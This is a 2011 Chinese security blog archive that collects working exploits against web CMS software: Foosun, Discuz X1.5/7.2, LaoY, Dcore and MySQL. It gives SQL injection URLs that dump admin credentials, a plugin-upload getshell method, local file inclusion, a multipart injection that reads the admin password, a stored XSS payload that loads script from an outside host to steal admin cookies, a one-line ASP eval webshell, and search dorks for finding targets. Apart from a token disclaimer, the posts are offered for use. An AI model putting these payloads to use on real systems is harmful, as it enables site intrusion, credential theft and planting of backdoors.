浏览模式: 标准 | 列表2011年05月的文章

foosun (风讯) 最新注入漏洞

Submitted by admin
2011, May 30, 9:25 AM

风讯foosun的注册文件存在漏洞,可以暴管理员帐号和密码。

漏洞文件:

 http://www.xxx.com/user/SetNextOptions.asp

利用简单的方法:

暴管理员帐号:

http://www.xxx.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin

 

暴管理员密码:

http://www.xxx.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin.
Tags: foosun, 风讯

discuz x1.5 discuz 7.2 后台getshell 0day通杀0day

Submitted by admin
2011, May 14, 9:02 AM

discuz x1.5 discuz 7.2 后台getshell 0day通杀版

方法为:
后台:插件--添加插件--请选择导入方式:上传本帖附件中的XML文件 并同时勾选上 允许导入不同版本 Discuz! 的插件(易产生错误!!)
然后确认
shell地址就为:data/plugindata/shell.lang.php  (discuz x1.5 )
shell地址就为:data/plugin/data/shell.lang.php (discuz 7.2)

 

http://www.st999.cn/blog/tools/discuzshell.rar

附件: discuzshell.rar (470 bytes, 下载次数:169)

Tags: discuz

DISCUZX1.5 本地文件包含漏洞

Submitted by admin
2011, May 14, 8:59 AM

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。
config_global.php

  1. $_config['cache']['type'] = 'file';
  2.  
  3. function cachedata($cachenames) {
  4. ......
  5. $isfilecache = getglobal('config/cache/type') == 'file';
  6. ......
  7. if($isfilecache) {
  8. $lostcaches = array();
  9. foreach($cachenames as $cachename) {
  10. if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {
  11. $lostcaches[] = $cachename;
  12. }
  13. }
  14.  
  15. ......
  16. }
复制代码

地址:
http://localhost/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
Authracation has expiried
执行了 api/uc.php 页面代码了。

Tags: discuz

DiscuzX1.5 门户管理权限SQL注入漏洞

Submitted by admin
2011, May 14, 8:59 AM

发布日期:2011-04.26
发布作者:Jannock
影响版本:DiscuzX1.5
官方网址:http://www.discuz.net
漏洞类型:SQL注入
详细说明:
source\include\portalcp\portalcp_article.php
//90行
if($_G[''gp_conver'']) {
$converfiles = unserialize(stripcslashes($_G[''gp_conver'']));
$setarr[''pic''] = $converfiles[''pic''];
$setarr[''thumb''] = $converfiles[''thumb''];
$setarr[''remote''] = $converfiles[''remote''];
}
可以看出变量 $converfiles 没有 addcslashes。
$aid = DB::insert(''portal_article_title'', $setarr, 1); //122行
进入数据库查询,因此存在SQL注射BUG。

漏洞证明:
有 门户 › 门户管理 › 频道栏目 发表权限。
发表文章:
http://localhost:9998/portal.php?mod=portalcp&ac=article&catid=1
在firebug下显示conver表单。

填上:a:3:{s:3:"pic";s:3:"xx''";s:5:"thumb";s:2:"xx";s:6:"remote";s:2:"xx";}
提交即暴错。
Error messages:
* [Type] 查询语句错误
* [1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''xx'',`remote`=''xx'',`uid`=''1'',`username`=''admin'',`id`=''0'''' at line 1
* [Query] INSERT INTO portal_article_title SET `title`=''xxxxxxxx'',`shorttitle`='''',`author`='''',`from`='''',`fromurl`='''',`dateline`=''1301158320'',`url`='''',`allowcomment`=''1'',`summary`=''xxxxxxxxxxxxxxxx'',`prename`='''',`preurl`='''',`catid`=''1'',`tag`=''0'',`status`=''0'',`pic`=''xx'''',`thumb`=''xx'',`remote`=''xx'',`uid`=''1'',`username`=''admin'',`id`=''0''

Tags: discuz

老Y文章管理系统漏洞

Submitted by admin
2011, May 10, 8:02 PM

影响的版本:2.5 3.0  acces  更久的版本没看


User/Upload.asp文件
34-50行

01   if Uprequest.form("file_Err")<>0  then
02   select case Uprequest.form("file_Err")
03   case 1:str="<div style=""padding-top:5px;padding-bottom:5px;""> <font color=blue>"&Uprequest.MaxSize/1024&"K [<a href='javascript:history.go(-1)'>重新上传</a>]</font></div>"
04   case 2:str="<div style=""padding-top:5px;padding-bottom:5px;""> <font color=blue>文件格式不对 [<a href='javascript:history.go(-1)']>重新上传</a>]</font></div>"
05   case 3:str="<div style=""padding-top:5px;padding-bottom:5px;""> <font color=blue>文件太大且格式不对 [<a href='javascript:history.go(-1)'>重新上传</a>]</font></div>"
06   end select
07   response.write str
08   else
09                  '注意这里,上传头像成功后,把头像路径更新到了UserFace字段。
10         sql="Update "&tbname&"_User set UserFace = '"&Uprequest.Form("file")&"' where ID= "&LaoYID
11         conn.execute(sql)
12   response.write "<script language=""javascript"">parent.UserReg.UserFace.value='"&Uprequest.Form("file")&"';" 
13   response.write "</script>"
14   response.write "<div style=""margin-top:6px;""><font color=red>上传成功</font>,刷新该页面即可看到新的头像。<a href='javascript:history.go(-1)'>重新上传</a></div>"
15     
16   conn.close
17   set conn=nothing
18   end if
60-67行代码:
1 '生成头像
2 '这里要注意,如果不是gif后缀,则对上传的头像进行长、宽处理,所以,为了上传动作顺利进行,大家还是传个gif格式的文件上去
3 If right(RV_img,4)<>".gif" then
4 Dim S_Width,S_Height,H_Temp,W_Temp
5 S_Width=100
6 S_Height=100
7 Set Jpeg = Server.CreateObject("Persits.Jpeg") '创建实例
8 Path = Server.MapPath(RV_img) '处理图片路径
9 Jpeg.Open Path '打开图片
上传头像抓包内容,我用的火狐浏览器插件livehttp,我这里就不把头部的东西放上来了。
发送以下的PostData。
01 -----------------------------4827543632391\r\n
02 Content-Disposition: form-data; name="file" ;filename="c:\1.gif"\r\n
03 \r\n
04 gif87a
05 123123123123123123123
06 \r\n
07 -----------------------------4827543632391\r\n
08 Content-Disposition: form-data; name="file"\r\n
09 \r\n
10 //重点在这里,DLookup是什么东西,怎么用的,请自行百度、google查询。谢谢
11 abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
12 \r\n
13 -----------------------------4827543632391\r\n
14 Content-Disposition: form-data; name="submit"\r\n
15 \r\n
16 é?′?\r\n
17 -----------------------------4827543632391--\r\n
返回后,可以看到自己EMAIL一项变成了管理员的MD5加密串。老Y文章管理系统作者在MD5.asp里面做了手脚,保存的MD5为前16位,无法破解密文。不过没有关系··
可以Cookie欺骗登陆后台···


admin/admin_check.asp
 
01 <%
02         Dim LaoYAdminID,LaoYAdminName,LaoYAdminPass,IsAdmin,rs5
03                '太弱了····
04         LaoYAdminID                =LaoYRequest(Request.Cookies("LaoYAdmin")("UserID"))
05         LaoYAdminName        =CheckStr(Request.Cookies("LaoYAdmin")("UserName"))
06         LaoYAdminPass        =CheckStr(Request.Cookies("LaoYAdmin")("UserPass"))
07           
08         If LaoYAdminID<>"" and LaoYAdminName<>"" and LaoYAdminPass<>"" then
09         set rs5 = server.CreateObject ("adodb.recordset")
10         sql="Select Top 1 * from ["&tbname&"_Admin] where id="& LaoYAdminID &" and Admin_Pass='"&LaoYAdminPass&"' and Admin_Name='"&LaoYAdminName&"'"
11         on error resume next
12         rs5.open sql,conn,1,1
13         Dim myadminid,myadminpass,myadminuser
14         myadminid                =rs5("ID")
15         myadminpass                =rs5("Admin_Pass")
16         myadminuser                =rs5("Admin_Name")
17         myadminip                =rs5("Admin_IP")
18         yaomight                =rs5("AdminMight")
19         yaoadmintype        =rs5("AdminType")
20         yaoadpower                =rs5("ADPower")
21         yaoWritePower        =rs5("WritePower")
22         yaoManagePower        =rs5("ManagePower")
23         rs5.close
24         set rs5=nothing
25                                 '太弱了····
26                 If myadminid<>Int(LaoYAdminID) or myadminpass<>LaoYAdminPass or myadminuser<>LaoYAdminName or myadminip<>GetIP Then
27                         IsAdmin=0
28                 Else
29                         IsAdmin=1
30                 End if
31         End if
32           
33         If IsAdmin<>1 then
34         Response.Redirect ""&SitePath&""&SiteAdmin&"/Admin_Login.asp"
35         End if
36 %>
这个你懂的···读出管理员的 ID、Admin_Pass,name,IP就可以登陆后台了。

我相信实际情况中大部分老Y系统后台都修改了名字,对于这种猥琐至极的管理员,我们就要使用更加超级无敌猥琐的方法···

XSS。。。

POSTDATA中

abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0

我们可以这样写

abc',UserIp='<script src=http://xxbing.com/a.js></script>',Sex='0
管理员打开后台,查看所有用户列表时,就会被X到了··
至于他什么时候会查看所有用户,我也不知道,相信你能够用社工的手法,让他主动去看你的注册资料。
a.js代码的功能就是捕捉管理员后台地址和cookie地址,如果你想,还可以在里面添加其他猥琐功能,比如自动备份数据,自动添加新的管理员。
那随你了。a.js代码在这里就不提供了。


over!

Tags: 老y

MYSQL提权的另一种方法

Submitted by admin
2011, May 8, 9:43 PM

#Dis9 Team Users ==>admin

转载注明来源 h4x0er.org  

思路:下载服务器的MYSQL数据 本地查看ROOT密码进行提权

前提 MYSQL安装目录可读

本地搭建MYSQL 登陆PHPMYADMIN

在SHELL里找到MYSQL的安装目录  

例如  C:/MYSQL5/       进入C:/MYSQL5/DATA  这个文件里面 找到MYSQL 这个文件夹

把里面的USER 表[有3个] 把3个全部下载到本地 看下图

大小: 26.85 K
尺寸: 500 x 316
浏览: 54 次
点击打开新窗口浏览全图

在本地MYSQL目录下 找到DATA/MYSQL 目录 新建一个目录: 任意(123)
将我们下载的USER 放到MYSQL目录下DATA/123 目录[就是我们新建的目录]

然后用登陆PHPMYADMIN  这样我们可以看到多了一个数据库 123
我们进入123这个数据库里面 可以发现有一个USER 就是我们下载的那个数据的名字

然后进入 找到ROOT帐号的密码

这样 很容易我就找到了ROOT帐号的密码

Tags: mysql

作者:Mr.DzY
增加了风格与站点表的关联;
后台:admin/login.asp 如不存在,自行猜解。
 
注入点:http://www.xxxx.net/index.asp?subsite=1
在工具里增加表名:dcore_user 列名:user_admin user_password
如果不怕麻烦也可以手工猜解。
 
 
拿shell方法:
后台--->风格管理--->选任意风格修改成Mr.DzY.asp--->编辑皮肤。
 
测试关键字:inurl:dynamic.asp?/1-2-17.html
多的自己构造。还是那老话,法律不允许,请勿非法入侵他人站点及破坏他人数据。
本文只作技术交流。对其引起的后果,自行承担。本人概不负责。
 
修补方法:加强密码强度/过滤非法字符/修改默认路径
 
通过这个0DAY很方便拿下SHELL。感谢先人的奉献呵呵
 
再看程序过程中发现根目录文件config.asp,是网站配置,也就是说后台直接修改网站配置信息写入一句话就能连接之,和南方数据企业网站管理系统后台一样
 
 
 
直接在信息版本后加上"%><%eval request("#")%><%' 加好后,是不显示这些代码的,还是原来的样子,但其实已经可以了
 
 
 
后面直接一句话连接之http://wwww.xxxx.net/config.asp
Tags: dcore